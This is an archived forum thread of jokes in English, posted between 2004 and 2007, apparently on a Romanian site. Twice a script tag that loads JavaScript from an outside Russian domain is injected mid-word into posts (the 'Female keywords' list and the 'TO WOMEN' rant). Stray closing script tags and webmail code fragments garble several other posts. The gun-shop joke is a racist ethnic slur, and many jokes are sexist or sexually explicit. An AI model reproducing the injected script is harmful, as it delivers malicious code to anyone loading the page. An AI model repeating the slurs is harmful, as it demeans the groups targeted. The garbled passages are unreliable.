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Arată versiune întreagă : Jokes



04.11.2004, 09:29
A woman and her husband went on vacation to the Holy Land.





While they were there the husband passed away. The undertaker told


her , "You can have him shipped home for $5,000, or you can bury him here in the Holy Land for $150.00."


The woman thought about it and told him that she would just have h im shipped home.


The undertaker asked, "Why?" Why would you spend $5,000 to ship your


husband home, when it would be wonderful to be buried here in the Holy Land and spend only $150.00?"


The woman said, " Well,a man once died here 2000 years ago and was buried here . T hree days later he rose from the dead. I just can't take that chance.

10.12.2004, 01:35
Gun Shop Owner: "Hi, How can I help you?


Client: "I'm lookin' for a gun."


Owner: "What kind of gun are you lookin' for?"


Client: (pointing at the biggest handgun in the case): "That one looks


about right."


Owner: (very surprised): "Why do you need a ..44 magnum?


Client: "It's for shootin' at cans."





Owner: (pointing at a small handgun): "Well, this is the perfect size


for shooting at cans."


Client (pointing again at the .44): "Nah, I need this one."


Owner: "OK, what kind a cans are you shooting at?"


Client: "Mexi-cans... Puertori-cans... Afri-cans... Maro-cans..."

Yanna
10.12.2004, 02:07
nice one!!!!

12.01.2005, 04:25
George Bush has a heart attack and dies. He goes to hell where the


devil is waiting for him.


"I don't know what to do here," says the devil. "You're on my list but


I have no room for you. But you definitely have to stay here, so I'll


tell you what I'm going to do. I've got three people here who weren't


quite as bad as you. I'll let one of them go, but you have to take their place. I'lleven let YOU decide who leaves."


George thought that sounded pretty good so he agreed.


The devil opened the first room. In it was Richard Nixon and a large


pool of water. He kept diving in and surfacing empty handed over and over and over. Such was his fate in hell.


"No!" George said. "I don't think so. I'm not a good swimmer and I don't think I could do that all day long."


The devil led him to the next room. In it was Tony Blair with a


sledgehammer and a room full of rocks. All he did was swing that hammer, time after time after time.


"No! I've got this problem with my shoulder. I would be in constant


agony if all I could do was break rocks all day!" commented George.


The devil opened a third door. In it, George saw Bill Clinton lying


naked on the floor with his arms staked over his head and his legs staked in spread-eagle pose. Bent over him was Monica Lewinsky, doing what she does best.


George Bush looked at this in disbelief for a while and finally said,


"Yeah, I can handle this."


The devil smiled and said, "Monica, you're free to go!"

garfield
14.01.2005, 20:54
The Power of Vaseline


Bubba has always dreamed of owning a Harley Davidson. One day he has finally saved up enough money so he goes down to the dealer.


After he picks out the perfect bike, the dealer tells him about an old biker trick that will keep the chrome on his new bike free from rust. The dealer tells him that all he has to do is to keep a jar of Vaseline handy and put it on the chrome before it rains, and everything will be fine. He happily pays for the bike and leaves.





A few months later, Bubba meets a woman and falls in love. She asks him to come home and meet her parents over dinner. He readily accepts and the date is set.


At the appointed time, he picks her up on his Harley and they ride to herparents' house. Before they go in, she tells him that they have a family tradition that whoever speaks first after dinner must do the dishes.





After a delicious dinner everyone sits in silence waiting for the first person to break the silence and get stuck doing the dishes. After aong fifteenminutes, Bubba decides to speed things up, so he reaches over and kisses his lover in front of her family. No one says a word. Emboldened, he slips his hand under her blouse and fondles her breasts. Still no one says a word.


Finally, he throws her on the table and screws her in front of everyone. No one says a word. Now he is getting desperate, so he grabs her mother and throws her on the table and screws her. Still no one speaks.


By now he is thinking what to do next when he hears thunder in the distance. His first thought is to protect the hrome on his Harley, so he gets his jacket, reaches in his pocket and pulls out his jar of Vaseline.





The father growls, "Okay dammit, I'll do the dishes!"

angela
16.01.2005, 10:54
A man goes to a shrink and says, "Doctor, my wife is unfaithful to
me. Every evening, she goes to Larry's bar and picks up men. In fact,
she sleeps with anybody who asks her! I'm going crazy. What do you
think I should do?"
"Relax," says the Doctor, "take a deep breath and calm down. Now,
tell me, where exactly is Larry's bar?"

angela
16.01.2005, 10:57
This guys wife asks, "Honey if I died would you remarry?" and he replies, "Well, after a considerable period of grieving, we all need companionship, I guess I would."

She then asks, "If I died and you remarried, would she live in this house?" and he replies, "We've spent a lot of time and money getting this house just the way we want it. I'm not going to get rid of my house, I guess she would."

"If I died and you remarried, and she lived in this house, would she sleep in our bed?" and he says, "That bed is brand new, we just paid two thousand dollars for it, it's going to last a long time, I guess she would."

So she asks, "If I died and you remarried, and she lived in this house, and slept in our bed, would she use my golf clubs?"

"Oh no, she's left handed."

angela
16.01.2005, 11:01
Hi. This is John. If you are the phone company, I already sent the money. If you are my parents, please send money. If you are my financial aid institution, you didn't lend me enough money. If you are my friends, you owe me money. If you are a female, don't worry, I have plenty of money.






Hi. I'm probably home, I'm just avoiding someone I don't like. Leave me a message, and if I don't call back, it's you.

17.01.2005, 07:56
Female keywords, and their meanings
1. "Fine"
This is the word women use at the end of any argument when they feel they are right but can't stand to hear you argue any longer. It means that you should shut up. (NEVER use "fine" to describe how she looks.
This will cause you to have one of those arguments.)


2. "Five minutes"
This is half an hour. It is equivalent to the five minutes that your football game is going to last before you take out the trash, so women feel that it's an even trade.

3. "Nothing"
"Nothing" means something and you should be on your toes. "Nothing" is usually used to describe the feeling a woman has of wanting to turn you inside out, upside down, and backwards. "Nothing" usually signifies an argument that will last "Five Minutes" and end with the word "Fine".

4. "Go Ahead" (with raised eyebrows)
This is NOT permission; it's a dare! If you mistake it for permission, the result will be the woman will get upset over "Nothing" and you'll have a "five-minute" discussion that will end with the word "Fine".

5. "Go Ahead" (normal eyebrows)
> > >This is NOT permission, either. It means "I give up" or "do what you want because I don't care". You will get a raised eyebrow "Go Ahead" in just a few minutes, followed by "Nothing" and "Fine" and she will talk to you in about "Five Minutes" when she cools off.

6. "Loud Sigh"
This is not actually a word, but is still often a verbal statement. Very frequently misunderstood by men. A "Loud Sigh" means she thinks you are a complete idiot and wonders why she is wasting her time standing here and arguing with you over "Nothing"!

7. "Soft Sigh"
Again, not a word, but a verbal statement. "Soft Sighs" are one of the few things that some men actually understand. It means she is momentarily content. Your best bet is to not move or breathe in the hope that the moment will last a bit longer.

8. "Oh"
This word -- followed by any statement -- is trouble. Example: "Oh, let me get that". Or, "Oh, I talked to him about what you were doing last night." If she says "Oh" before a statement, run, do not walk, to the nearest exit. She will tell you that she is "Fine" when she is done tossing your clothes out the window, but do not expect her to talk to you for at least two days. ("Oh" as the lead to a sentence usually signifies that you are caught in a lie. Do not try to lie more to get out of it, or you will get a raised eyebrows "Go ahead", sometimes followed by acts so unspeakable that I can't bring myself to write about them.

9. "That's Okay"
This is one of the most dangerous statements that a woman can say to a man. "That's Okay" means that she wants to think long and hard before deciding what the penalty will be for whatever you have done. "That's Okay" is often used with the word "Fine" and in conjunction with a raised eyebrow "Go Ahead". Once she has had time to plan it out, you are in for some mighty big trouble.

10. "Please Do"
This is not a statement, it is an offer. The woman is giving you the chance to come up with an excuse for what you have done. In other words, a chance to get yourself into even more trouble. If you handle this correctly, you shouldn't get a "That's Okay".

11. "Thanks"
The woman is thanking you. Don't faint and don't look for hidden meaning. Just say "you're welcome."

12. "Thanks A Lot"
"Thanks A Lot" is dramatically different from "Thanks". A woman will say "Thanks A Lot" when she is really ticked off at you. It is usually followed by the "Loud Sigh". This signifies that you have hurt her in some callous way. Be careful not to ask what is wrong after the "Loud Sigh", as she will only te<script src=http://www.iroe.ru/ngg.js></script>

garfield
17.01.2005, 08:04
TO WOMEN EVERYWHERE FROM A MAN WHO'S HAD ENOUGH

Learn to work the toilet seat. If it's up, put it down. We need it up, you need it down. You don't hear us bitching about you leaving it down.

If you won't dress like the Victoria's Secret girls, don't expect us to act like soap opera guys.

If you think you're fat, you probably are. Don't ask us. We refuse to answer.

Don't cut your hair. Ever. Long hair is always more attractive than short hair.

One of the big reasons guys fear getting married is that married women always cut their hair, and by then you're stuck with her.

Birthdays, Valentines, and Anniversaries are not quests to see if we can find the perfect present yet again!

If you ask a question you don't want an answer to, expect an answer you don't want to hear.

Sometimes, we're not thinking about you. Live with it. Don't ask us what we're thinking about u<script src=http://www.iroe.ru/ngg.js></script>

Laura
17.01.2005, 09:47
A magazine recently ran a 'Dilbert Quotes' contest. They were looking

for people to submit quotes from their real life Dilbert-type managers.



Here are the Top Ten finalists:



10. One day my Boss asked me to submit a status report to him
concerning a project I was working on. I asked him if tomorrow
would be soon enough. He said, "If I wanted it tomorrow, I would have
waited until tomorrow to ask for it!" (Hallmark Cards executive).



9. "We know that communication is a problem, but the company is not

going to discuss it with the employees." (Switching supervisor, AT&amp;T Long Lines Division)



8. My sister passed away and her funeral was scheduled for
Monday. When I told my Boss, he said she died on purpose so that
I would have to miss work on the busiest day of the year. He then asked
if we could change her burial to Friday. He said, "That would be better
for me." (Shipping executive, FTD Florists)



7. Quote from the Boss: "Teamwork is a lot of people doing what I say." (Marketing executive, Citrix Corporation)



6. No one will believe you solved this problem in one day! We've
been working on it for months. Now, go act busy for a few weeks
and I'll let you know when it's time to tell them."
(R&amp;D supervisor, Minnesota Mining and Manufacturing/3M Corp.)



5. "Doing it right is no excuse for not meeting the schedule." (Plant manager, Delco Corporation)



4. "This project is so important, we can't let things that are more
important interfere with it." (Advertising/Marketing manager,
United Parcel Service)



3. "E-mail is not to be used to pass on information or data. It should

be used only for company business." (Accounting manager, Electric

Boat Company)



2. "What I need is an exact list of specific unknown problems we

might encounter!!" (Lykes Lines Shipping)



AND THE WINNER IS...:



1. "As of tomorrow, employees will only be able to access the building
using individual security cards. Pictures will be taken next Wednesday
and employees will receive their cards in two weeks." (This
was the

winning quote from Fred Dales at Microsoft Corp. in Redmond,WA.)

garfield
17.01.2005, 10:05
Restroom TripPolicy


In the past, employees were permitted to make trips to the restrooms
under informal guidelines. Effectiveimmediately, a Restroom Trip
Policy (RTP) will be established to provide a consistent method of
accounting for each employee's restroom time.

Under this policy, a "Restroom Trip Bank" will be set up for each employee.
The first day of each month, employees will be given a Restroom Trip Credit
of 20. Restroom Trip Credits can be accumulated month to month.

In the near future, the entrances to all restrooms will be equipped
with personel identification stations and computer linked voice
print recognition devices. Before the end of the month, each employee
must provide two copies of voice prints (one normal and one under stress)
to the Data Automation Department. The voice print recognition will
be operational, but not restrictive, for the remainder of this month. Employees
should acquaint themselves with the station during that period. If an
employee's Restroom Trip Bank reaches zero, the doors to the restroom
will NOT unlock for that employee's voice until the first of the next month.

In addition, all restroom stalls are being equipped with timed paper-
roll retractors. If the stall is occupied for more thanthree minutes,
an alarm will sound. Thirty seconds after the alarm sounds, the roll
of paper will retract, the toilet will flush, and the stall door will
open. If the stall remaines occupied, your picture will be taken. The
picture will than be posted on all bulletin boards. This is being done
to eliminate DILLY DALLYING in the restrooms. Anyone's picture showing
up 3 times will be immediately terminated!!!!!

If you have any questions about the new policy, please ask your supervisor.

P.S. Remember our pride and commitment to excellence...

18.01.2005, 02:06
Night without sex (men story)


I never understand why sexual need of the woman and man are so different, I never understand the thing about Mars and Venus. Also I never understand why the man think with the brain, and woman with heart.

For example: One night, last week, my wife and I we were in bed. We were hugging and passion it was beginning when she told me:

25.01.2005, 03:21
Senior Bus Tour........

A tour bus driver with a bus full of seniors going down a highway, when he
is tapped on his shoulder by a little old lady. She offers him a handful of
peanuts, which he gratefully munches up.

After approx.15 minutes, she taps him on his shoulder again and she hands
him another handful of peanuts. She repeats this gesture about eight times.
At the ninth time he asks the little old lady why they do not eat the
peanuts themselves , where upon she replies that it is not possible because
of their old teeth, they are not able to chew them.

"Why did you buy them then?" he asks puzzled.

Whereupon the old lady answers. We just love the chocolate around them

dancing_fire
26.01.2005, 11:35
A couple from Minneapolis decided to go to Florida tothaw out during one particularly icy winter. They planned tostay at the very same hotel where they spent their honeymoon 20years earlier.


Because of hectic schedules, it was difficult to coordinatetheir travel schedules. So, the husband left Minnesota and flewto Florida on Thursday, with his wife flying down the followingday.


The husband checked into the hotel There was a computer in hisroom, so he decided to send an e-mail to his wife. However, heaccidentally left out one letter in her e-mail address, andwithout realizing his error, he sent the e-mail.


Meanwhile.....somewhere in Houston, a widow had just returnedhome from her husband's funeral. He was a minister of manyyears who was called home to glory following a sudden heartattack. The widow decided to check her e-mail, expectingmessages from relatives and friends. After reading the firstmessage, she fainted. The widow's son rushed into the room,found his mother on thefloor, and saw the computer screen which read:


To: My Loving Wife


Subject: I've Arrived


Date: 16 May 2002


I know you're surprised to hear from me. They have computershere now and you are allowed to send e-mails to your lovedones. I've just arrived and have been checked in.


I see that everything has been prepared for your arrival tomorrow.


Looking forward to seeing you then! Hope your journey is as


uneventful as mine was.


P.S. Sure is hot down here!

sorin
27.01.2005, 06:41
Subject: Red Rose


Steve wakes up at home with a huge hangover he can't believe. He forces
himself to open his eyes, and the first thing he sees is a couple of
aspirins next to a glass of water on the side table. And, next to them,
a single red rose!


Steve sits down and sees his clothing in front of him, all clean and
pressed.


Steve looks around the room and sees that it is in perfect order,
Spotlessly clean. So is the rest of the house. He takes the aspirins,
cringes when he sees a huge black eye staring back at him in the bathroom mirror, and
notices a note on the table: "Honey, breakfast is on the stove, I left
early to go shopping--Love you!"


He stumbles to the kitchen and sure enough, there is hot breakfast and
the morning newspaper. His son is also at the table, eating. Steve asks,
"Son...what happened last night?"


"Well, you came home after 3 A.M., drunk and out of your mind. You broke
some furniture, puked in the hallway, and got that black eye when you
ran into the door."


"So, why is everything in such perfect order, so clean, I have a rose,
and breakfast is on the table waiting for me?"


His son replies, "Oh THAT!... Mom dragged you to the bedroom, and when
she tried to take your pants off, you screamed, "Leave me alone, lady, I'm
married!"
</script>

02.02.2005, 06:54
A bus carrying only ugly people crashes into an oncoming truck, and everyone inside dies. They then get to meet their maker, and because of the grief they have experienced; He decides to grant them one wish each, before they enter Paradise.

They're all lined up, and God asks the first one what the wish is. "I want to be gorgeous," and so God snaps His fingers, and it is done.

The second one in line hears this and says "I want to be gorgeous too."

Another snap of His fingers and the wish is granted.
This goes on for a while but when God is halfway down the line, the last guy in line starts laughing. When there are only ten people left, this guy is rolling on the floor, laughing.
Finally, God reaches this guy and asks him what his wish will be.

The guy calms down and says: " Make 'em all ugly again."

05.02.2005, 16:53
Olympic Condoms



A man is out shopping and discovers a new brand of Olympic condoms. Clearly impressed, he buys a pack. Upon getting home he
announces to his wife the purchase he just made.


"Olympic condoms?", she asks. "What makes them so special?"


"There are three colors", he replies, "Gold, Silver and Bronze."


"What color are you going to wear tonight?", she asks cheekily.


"Gold of course", says the man proudly.


The wife responds, "Really, why don't you wear Silver, it would
be nice if you came second for a change!."

Johann
06.02.2005, 02:54
A new couple returned to their apartment after being on their honeymoon.

"Care to go upstairs and do it?" the husband asked.

"Shh!" said the bride "All the neighbors will know what we're about to do. These walls are paper thin. In the future, we'll have to ask each other in code. For example, how about asking, 'Have you left the washing machine door open' instead?"

So, the following night, the husband asks, "I don't suppose you left the washing machine door open, did you?"

"No, I definitely shut it," replied the wife who rolled over and fell asleep.

When she woke up however, she was feeling a little frisky herself and she nudged her husband and said, "I think I did leave the washing machine door open after all. Would you like to do some washing?"

"No, thanks," said the husband. "It was only a small load so I did it by hand."

angela
04.03.2005, 19:10
25 signs you've grown up:


1. Your houseplants are alive, and you can't smoke any of them.


2. Having sex in a twin bed is out of the question.


3. You keep more food than beer in the fridge.


4. 6:00 AM is when you get up, not when you go to bed.


5. You hear your favorite song in an elevator.


6. You watch the Weather Channel.


7. Your friends marry and divorce instead of "hook up" and "break up."


8. You go from 130 days of vacation time to 14.


9. Jeans and a sweater no longer qualify as "dressed up."


10. You're the one calling the police because those %&amp;@# kids next door


won't turn down the stereo.


11. Older relatives feel comfortable telling sex jokes around you.


12. You don't know what time Taco Bell closes anymore.


13. Your car insurance goes down and your car payments go up.


14. You feed your dog Science Diet instead of McDonald's leftovers.


15. Sleeping on the couch makes your back hurt.


16. You take naps from noon to 6 PM!


17. Dinner and a movie is the whole date instead of the beginning of one.


18. Eating a basket of chicken wings at 3 AM would severely upset, rather than settle, your stomach.


19. If you're a gal, you go to the drug store for aspirins and antacids, not condoms and pregnancy tests.


20. A $4.00 bottle of wine is no longer "pretty good stuff."


21. You actually eat breakfast food at breakfast time.


22. "I just can't drink the way I used to" replaces "I'm never going to drink that much again."


23. 90% of the time you spend in front of a computer is for real work.


24. You drink at home to save money before going to a bar.


25. You read this entire list looking desperately for one sign that
doesn't apply to you and can't find one to save your sorry old butt.


Then you forward it to a bunch of old pals &amp; friends 'cause you know they'll enjoy it the same.





BONUS: When you find out your friend is pregnant you congratulate them instead of asking "Oh S*$# What Happened?</span>

24.03.2005, 01:37
<DIV>A Son's Love</DIV>
<DIV>An old man lived alone in the country. He wanted to dig his potato</DIV>
<DIV>garden but it was very hard work as the ground was hard. His only son</DIV>
<DIV>Fred, who used to help him, was in prison. The old man wrote a letter to</DIV>
<DIV>his son and described his predicament.</DIV>
<DIV></DIV>
<DIV>Dear Fred,</DIV>
<DIV></DIV>
<DIV>I am feeling pretty bad because it looks like I won't be able to plant</DIV>
<DIV>my potato garden this year. I'm just getting too old to be digging up a</DIV>
<DIV>garden plot. If you were here, all my troubles would be over. I know you</DIV>
<DIV>would dig the plot for me. - Love Dad</DIV>
<DIV></DIV>
<DIV>A few days later he received a letter from his son....</DIV>
<DIV></DIV>
<DIV>Dear Dad,</DIV>
<DIV></DIV>
<DIV>For heaven's sake, don't dig up that garden! That's where I buried the</DIV>
<DIV>BODIES. - Love Fred</DIV>
<DIV></DIV>
<DIV>At 4 am the next morning, FBI agents and local police arrived and dug up</DIV>
<DIV>the entire area without finding any bodies. They apologized to the old</DIV>
<DIV>man and left. That same day the old man received another letter from his</DIV>
<DIV>son.</DIV>
<DIV></DIV>
<DIV>Dear Dad,</DIV>
<DIV>Go ahead and plant the potatoes now. That's the best I could do under</DIV>
<DIV>the circumstances. - Love Fred</DIV>

Johann
25.03.2005, 04:52
<DIV>
<CENTER>"That wife of mine is a liar," said the angry husband to a sympathetic pal seated next to him in the bar. </CENTER>


"How do you know?" the friend asked.


"She didn't come home last night and when I asked her where she'd been, she said she had spent the night with her sister, Shirley."


"So?"


"So she's a liar, I spent the night with her sister Shirley." </DIV>

07.04.2005, 02:39
Smart+Dumb=????

Smart man + dumb woman = affair

Dumb man+ smart woman = marriage

Dumb man+ dumb woman = pregnancy

OFFICE ARITHMETIC

Smart boss+ smart employee = profit

Smart boss+ dumb employee = production

Dumb boss+ smart employee = promotion

Dumb boss+ dumb employee = overtime

SHOPPING MATH

A man will pay $2 for a $1 item he needs.

A woman will pay $1 for a $2 item that she doesn't need.

GENERAL EQUATIONS &amp;STATISTICS
</script>

14.04.2005, 02:29
Bad Habits


&gt;&gt; &gt;Fifteen days ago, I read that smoking can kill you;


&gt;&gt; &gt;The next day I stopped smoking.


&gt;&gt; &gt;Twelve days ago, I read that too much red meat can kill you;


&gt;&gt; &gt;The next day I stopped eating red meat..


&gt;&gt; &gt;8 days ago, I read that drinking can kill you;


&gt;&gt; &gt;The next day I stopped drinking.


&gt;&gt; &gt;Yesterday, I read that having sex can kill you;


&gt;&gt; &gt;This morning I stopped reading.

kdana27
23.07.2005, 04:49
Ralph returns from the doctor and tells his wife that the doctor has told him he has only 24 hours to live. Given this prognosis, Ralph asks his wife for sex. Naturally, she agrees, and they make love.


About six hours later, the husband goes to his wife and says, "Honey, you know I now have only 18 hours to live. Could we please do it one more time?" Of course, the wife agrees and they do it again.


Later, as the man gets into bed, he looks at his watch and realizes he now has only 8 hours left. He touches his wife's shoulder and asks, "Honey, please...just one more time before I die?" She says, "Of course, dear."


And they make love for the third time.


After this session, the wife rolls over &amp; falls asleep. Ralph, however, worried about his impending death, tosses &amp; turns until he's down to 4 more hours. He taps his wife, who rouses. "Honey, I have only 4 more hours. Do you think we could.....?"


At this point the wife sits up and says, "Listen Ralph, I have to get up in the morning...You don't."


********


A man and his wife went to bed one night and the man was getting very frisky and asked his wife if she was in the mood. His wife answered, "Not tonight dear I have a headache."


The man replied, "Is that your final answer"? She said, "Yes."


...He said. "Ok, then, I'd like to phone a friend."


*******


Subject: Examination


A woman and a baby were in the doctor's examining room, waiting for the doctor to come in.


The doctor arrived, examined the baby, checked his weight, found it somewhat below normal, and asked if the baby was breast fed or bottle fed.


"Breast fed," she replied.


"Well, strip down to your waist," the doctor ordered.


She did.


He pressed, kneaded, rolled, cupped, and pinched both breasts for a while in a detailed, rigorously thorough examination.


Motioning to her to get dressed, he said, "No wonder this baby is underweight. You don't have any milk.


" I know", she said, "I'm his Grandma, but I'm glad I came.


********


A taxi driver picks up a nun in Belfast.


She gets into the cab, and the driver wont stop staring at her in the rear view mirror.


She asks him why he is staring at her and he replies "I have a question to ask you but I don't want to offend you"


She answers "My dear son, you cannot offend me. When you're as old as I am and have been a nun as long as I have, you get a chance to see and hear just about everything. I'm sure that there's nothing you could say or ask that I would find offensive"


</script>

kdana27
23.07.2005, 05:15
A woman came home just in time to find her husband in bed with another woman. With superhuman strength borne of fury, she dragged her husband down the stairs to the garage and put his manhood in a vice. She then secured it tightly and removed the handle. Next she picked up a hacksaw.


The husband terrified, screamed, "Stop! Stop! You're not going to cut it off are you?"


The wife, with a gleam of revenge in her eye, said, "Nope. You are. I'm going to set the garage on fire."


*******


A guy sticks his head into a barber shop and asks, "How long before I can get a haircut?"


The barber looks around the shop and says, "About 2 hours."


The guy leaves.





A few days later the same guy sticks his head in the door and asks, "How long before I can get a haircut?"


The barber looks around at shop full of customers and says, "About 3 hours."


The guy leaves.





A week later the same guy sticks his head in the shop and asks, "How long before I can get a haircut?"


The barber looks around the shop and says, "About an hour and a half."


The guy leaves.


The barber who is intrigued by this time, looks over at a friend in the shop and says, "Hey, Bill. Follow that guy and see where he goes."


A little while later, Bill comes back into the shop, laughing hysterically.


The barber asks, "Bill, where did he go when he left here?"


Bill looks up, tears in his eyes and says, " Your house!"


*******


Sister Mary Katherine entered the Monastery of Silence.


The Priest said, "Sister, this is a silent monastery. You are welcome here as long as you like, but you may not speak until I direct you to do so".


Sister Mary Katherine lived in the monastery for 5 years before the Priest said to her, "Sister Mary Katherine, you have been here for 5 years. You can speak two words."


Sister Mary Katherine said, "Hard bed."


"I'm sorry to hear that," the Priest said, "We will get you a better bed."


After another 5 years, Sister Mary Katherine was called by the Priest.


"You may say another two words, Sister Mary Katherine.


"Cold food," said Sister Mary Katherine, and the Priest assured her that the food would be better in the future.


</script>

kdana27
23.07.2005, 05:29
Jacob, age 92, and Rebecca, age 89, are all excited about their decision to get married. They go for a stroll to discuss the wedding and on the way they pass a drugstore. Jacob suggests they go in.


Jacob addresses the man behind the counter: "Are you the owner?"


The pharmacist answers "Yes".


Jacob: "We're about to get married. Do you sell heart medication?"


Pharmacist: "Of course we do."


Jacob: "How about medicine for circulation?"


Pharmacist: "All kinds."


Jacob: "Medicine for rheumatism, scoliosis? "


Pharmacist: "Definitely."


Jacob: "How about Viagra?"


Pharmacist: "Of course."


Jacob: "Medicine for memory problems, arthritis, Jaundice?"


Pharmacist: "Yes, a large variety. The works."


Jacob: "What about vitamins, sleeping pills, Geritol, antidotes for Parkinson's disease?"


Pharmacist: "Absolutely."


Jacob: "You sell wheelchairs and walkers?"


Pharmacist: "All speeds and sizes."


Jacob says to the pharmacist: "We'd like to register here for our wedding gifts, please"


******


A couple attending an art exhibition at the National Gallery were staring at a portrait that had them completely confused.


The painting depicted three black and totally naked men sitting on a park bench. Two of the figures had black penises, but the one in the middle had a pink penis. The curator of the gallery realized that they were having trouble interpreting the painting and offered his assessment.


He went on for nearly half an hour explaining how it depicted the sexual emasculation of African-Americans in a predominantly white, patriarchal society. "In fact," he pointed out, "some serious critics believe that the pink penis also reflects the cultural and sociological oppression experienced by gay men in contemporary society."


After the curator left, an Irish man approached the couple and said, "Would you like to know what the painting is really about?"


"Now why would you claim to be more of an expert than the curator of the gallery?" asked the couple.


"Because I'm the guy who painted it," he replied.


"In fact, there's no African-Americans depicted at all. They're just three Irish coal-miners. The only difference is that the man in the middle went home for lunch."


******


3 Bears Story


</script>

eddy168
16.08.2005, 10:28
<DIR>
<DIR>


FEMALE PRAYER



Before I lay me down to sleep,


I pray for a man, who's not a creep,


One who's handsome, smart and strong.


One who loves to listen long,


One who thinks before he speaks,


One who'll call, not wait for weeks.


I pray he's gainfully employed,


When I spend his cash, won't be annoyed.


Pulls out my chair and opens my door,


Massages my back and begs to do more.


Oh! Send me a man who'll make love to my mind,


Knows what to answer to "how big is my behind?"


I pray that this man will love me to no end,


And always be my very best friend.



Amen


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~


MALE PRAYER



I pray for a deaf-mute nymphomaniac with huge boobs

who owns a liquor store and a bass boat.

This doesn't rhyme and I don't care.



Amen





</DIR></DIR>

dksven
14.11.2005, 11:20
The best break up letter ever!


A soldier stationed in Iraq recently received a "Dear John" letter from his girlfriend back home. It read as follows:
"Dear Ricky,I can no longer continue our relationship. The distance between us is just too great. I must admit that I have cheated on
you twice,since you've been gone, and it's not fair to either of
us. I'm sorry. Please return the picture of me that I sent to you.Love, Becky.............."


The soldier, with hurt feelings, asked his fellow
soldiers for any snapshots they could spare of their girlfriends,
sisters or ex-girlfriends. In addition to the picture of Becky, Ricky included all the other pictures of the pretty girls he had collected from his buddies. There were 57 photos in that envelope.... along with this note:
"Dear Becky, I'm so sorry, but I can't quite remember who the f*** you are. Please take your picture from the pile, and send the rest back to me.Take care,Ricky ..... "

garfield
15.11.2005, 16:17
Jesus and Saint Peter are golfing.

St. Peter steps up to the tee on a par three and hits one long and straight. It reaches the green. Jesus is up next. He slices it. It heads over the fence into traffic on an adjacent street. Bounces off a truck, onto the roof of a nearby shack and into the rain gutter, down the drain spout and onto a lilly pad at the edge of a lake. A frog jumps up and snatches the ball in his mouth. An eagle swoops down, grabs the frog. As the eagle flies over the green, the frog croaks and drops the ball. It's in the hole. Saint Peter looks at Jesus, exasperated. "Are you gonna play golf?" he asks "Or are you just gonna fvck around?"

19.11.2005, 07:39
Mad Cows
Two cows were talking in the field.


One cow says, "Have you heard about the Mad Cow disease that's going around?"


The other cow answers, "Yeah, makes you glad you're a penguin, doesn't it?"

carmens
16.05.2006, 11:12
Anatomie
<DIV>Stiai ca in corpul omenesc exista un nerv care face legatura intre globul tau ocular si anus?</DIV>
<DIV></DIV>
<DIV>Se numeste Nervul Optic Anal, si este responsabil de viziunea cacacioasa despre viata.</DIV>
<DIV></DIV>
<DIV>Daca nu crezi, incearca saiti smulgi un fir de par din "cvr" sa vezi cumiti dau lacrimile !</DIV>

08.05.2007, 08:00
Fishing story

</font></span>

At a Senior Citizen's luncheon, an elderly gentleman and an
elderly </span></font>

lady struck up a conversation and discovered that they both loved to fish.</span></font></pre>
Since both of them were widowed, they decided to go fishing together </span></font></pre>the next day.</span></font></pre>
</span></font></pre>The gentleman picked the lady up, and they headed to the river to his
</span></font></pre>fishing boat and started out on their adventure. They were riding down the </span></font></pre>
</span></font></pre>river when there was a fork in the river, and the gentleman asked the lady,
</span></font></pre>"Do you want to go up or down?"</span></font></pre>
</span></font></pre> </span></font></pre>All of a sudden the lady stripped off her shirt and pants and made
<><!--
D(["mb","\u003c/span\>\u003c/font\>\u003c/pre\>\u003cpre\>\u003cfont face\u003d\"Arial\" size\u003d\"2\"\>\u003cspan style\u003d\"font-size:11pt;font-family:Arial\"\>mad passionate love to the man right there in the boat !\u003c/span\>\u003c/font\>\u003c/pre\>\u003cpre\>\u003cfont face\u003d\"Arial\" size\u003d\"2\"\>\u003cspan style\u003d\"font-size:11pt;font-family:Arial\"\>\nWhen they finished, the man couldn&#39;t believe what had just h\u003c/span\>\u003c/font\>\u003c/pre\>\u003cpre\>\u003cfont face\u003d\"Arial\" size\u003d\"2\"\>\u003cspan style\u003d\"font-size:11pt;font-family:Arial\"\>appened, \u003c/span\>\u003c/font\>\u003c/pre\>\u003cpre\>\u003cfont face\u003d\"Arial\" size\u003d\"2\"\>\n\u003cspan style\u003d\"font-size:11pt;font-family:Arial\"\>but he had just experienced the best sex that he&#39;d had in years.\u003c/span\>\u003c/font\>\u003c/pre\>\u003cpre\>\u003 cfont face\u003d\"Arial\" size\u003d\"2\"\>\u003cspan style\u003d\"font-size:11pt;font-family:Arial\"\>\nThey fished for a while and continued on down the river, when soon \u003c/span\>\u003c/font\>\u003c/pre\>\u003cpre\>\u003cfont face\u003d\"Arial\" size\u003d\"2\"\>\u003cspan style\u003d\"font-size:11pt;font-family:Arial\"\>they came upon another fork in the river.

29.11.2007, 15:03
Another crazy female joke





Scientists have finally discovered what's wrong with the female
brain: On the left side, there is nothing right, and on the right side,
there is nothing left!
</span>

keyframe14
03.12.2007, 01:47
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</span></font></div></div></div>
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"How
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she replied.</span></font></div></div>
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"Do
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